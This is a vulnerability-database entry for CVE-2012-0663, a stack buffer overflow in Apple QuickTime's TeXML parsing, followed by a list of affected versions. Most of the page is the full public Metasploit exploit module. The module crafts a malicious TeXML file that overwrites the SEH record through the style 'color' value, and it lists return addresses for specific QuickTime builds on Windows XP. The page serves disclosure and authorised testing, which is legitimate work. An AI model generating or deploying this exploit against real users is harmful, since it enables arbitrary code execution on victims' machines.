CVE-2012-0663

critical
Published 2012-05-16 ยท Modified 2026-04-29
CVSS v3
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CVSS v4 NEW
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not yet in upstream
VIR risk
10.0

Description

Multiple stack-based buffer overflows in Apple QuickTime before 7.7.2 on Windows allow remote attackers to execute arbitrary code or cause a denial of service (application crash) via a crafted TeXML file.

Predictions

Exploit likelihood
20%
Patch ETA
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Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-19433 local windows verified ruby ยท 4 KB
Metasploit ยท 2012-06-28

Apple QuickTime - TeXML Stack Buffer Overflow (Metasploit)

ruby exploit Source: Exploit-DB
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Apple QuickTime TeXML Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a vulnerability found in Apple QuickTime. When handling
				a TeXML file, it is possible to trigger a stack-based buffer overflow, and then
				gain arbitrary code execution under the context of the user.  The flaw is
				generally known as a bug while processing the 'transform' attribute, however,
				that attack vector seems to only cause a TerminateProcess call due to a corrupt
				stack cookie, and more data will only trigger a warning about the malformed XML
				file.  This module exploits the 'color' value instead, which accomplishes the same
				thing.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Alexander Gavrun',  # Vulnerability Discovery
					'sinn3r',            # Metasploit Module
					'juan vazquez'       # Metasploit Module
				],
			'References'     =>
				[
					[ 'OSVDB', '81934' ],
					[ 'CVE', '2012-0663' ],
					[ 'BID', '53571' ],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-095/' ],
					[ 'URL', 'http://support.apple.com/kb/HT1222' ]
				],
			'Payload'        =>
				{
					'DisableNops' => true,
					'BadChars'    => "\x00\x23\x25\x3c\x3e\x7d"
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'QuickTime 7.7.1 on Windows XP SP3',
						{
							'Ret' => 0x66f1bdf8, # POP ESI/POP EDI/RET from QuickTime.qts (7.71.80.42)
							'Offset' => 643,
							'Max' => 13508
						}
					],
					[ 'QuickTime 7.7.0 on Windows XP SP3',
						{
							'Ret' => 0x66F1BD66, # PPR from QuickTime.qts (7.70.80.34)
							'Offset' => 643,
							'Max' => 13508
						}
					],
					[ 'QuickTime 7.6.9 on Windows XP SP3',
						{
							'Ret' => 0x66801042, # PPR from QuickTime.qts (7.69.80.9)
							'Offset' => 643,
							'Max' => 13508
						}
					],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'May 15 2012'))

		register_options(
			[
				OptString.new('FILENAME', [ true, 'The file name.',  'msf.xml']),
			], self.class)
	end

	def exploit
		my_payload = rand_text(target['Offset'])
		my_payload << generate_seh_record(target.ret)
		my_payload << payload.encoded
		my_payload << rand_text(target['Max'] - my_payload.length)

		texml = <<-eos
		<?xml version="1.0"?>
		<?quicktime type="application/x-quicktime-texml"?>

		<text3GTrack trackWidth="176.0" trackHeight="60.0" layer="1"
			language="eng" timeScale="600"
			transform="matrix(1.0, 0.0, 0.0, 0.0, 1.0, 0.0, 1, 0, 1.0)">
			<sample duration="2400" keyframe="true">

				<description format="tx3g" displayFlags="ScrollIn"
					horizontalJustification="Left"
					verticalJustification="Top"
					backgroundColor="0%, 0%, 0%, 100%">

					<defaultTextBox x="0" y="0" width="176"  height="60"/>
					<fontTable>
						<font id="1" name="Times"/>
					</fontTable>

					<sharedStyles>
					<style id="1">
						{font-table: 1} {font-size:  10}
						{font-style:normal}
						{font-weight: normal}
						{color: #{my_payload}%, 100%, 100%, 100%}
					</style>
					</sharedStyles>
				</description>

				<sampleData scrollDelay="200"
					highlightColor="25%, 45%, 65%, 100%"
					targetEncoding="utf8">

					<textBox x="10" y="10" width="156"  height="40"/>
						<text styleID="1">What you need... Metasploit!</text>
						<highlight startMarker="1" endMarker="2"/>
						<blink startMarker="3" endMarker="4"/>
				</sampleData>
			</sample>
		</text3GTrack>
		eos

		texml = texml.gsub(/^\t\t/,'')

		print_status("Creating '#{datastore['FILENAME']}'.")
		file_create(texml)
	end

end

Metasploit modules

Apple QuickTime TeXML Style Element Stack Buffer Overflow
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Application impact

VendorProductVersionsFixed
macos applequicktime{"endIncluding":"7.7.1"}
macos applequicktime3.0
macos applequicktime4.1.2
macos applequicktime5.0
macos applequicktime5.0.1
macos applequicktime5.0.2
macos applequicktime6.0
macos applequicktime6.0.0
macos applequicktime6.0.1
macos applequicktime6.0.2
macos applequicktime6.1
macos applequicktime6.1.0
macos applequicktime6.1.1
macos applequicktime6.2.0
macos applequicktime6.3.0
macos applequicktime6.4.0
macos applequicktime6.5
macos applequicktime6.5.0
macos applequicktime6.5.1
macos applequicktime6.5.2
macos applequicktime7.0
macos applequicktime7.0.0
macos applequicktime7.0.1
macos applequicktime7.0.2
macos applequicktime7.0.3
macos applequicktime7.0.4
macos applequicktime7.1
macos applequicktime7.1.0
macos applequicktime7.1.1
macos applequicktime7.1.2
macos applequicktime7.1.3
macos applequicktime7.1.4
macos applequicktime7.1.5
macos applequicktime7.1.6
macos applequicktime7.2
macos applequicktime7.2.0
macos applequicktime7.2.1
macos applequicktime7.3
macos applequicktime7.3.0
macos applequicktime7.3.1
macos applequicktime7.3.1.70
macos applequicktime7.4
macos applequicktime7.4.0
macos applequicktime7.4.1
macos applequicktime7.4.5
macos applequicktime7.5.0
macos applequicktime7.5.5
macos applequicktime7.6.0
macos applequicktime7.6.1
macos applequicktime7.6.2
macos applequicktime7.6.5
macos applequicktime7.6.6
macos applequicktime7.6.7
macos applequicktime7.6.8
macos applequicktime7.6.9
macos applequicktime7.7.0
macos applequicktime7.60.92.0
macos applequicktime7.62.14.0
macos applequicktime7.64.17.73
macos applequicktime7.65.17.80
macos applequicktime7.66.71.0
macos applequicktime7.67.75.0
macos applequicktime7.68.75.0
macos applequicktime7.69.80.9

References

CWEs

CWE-119

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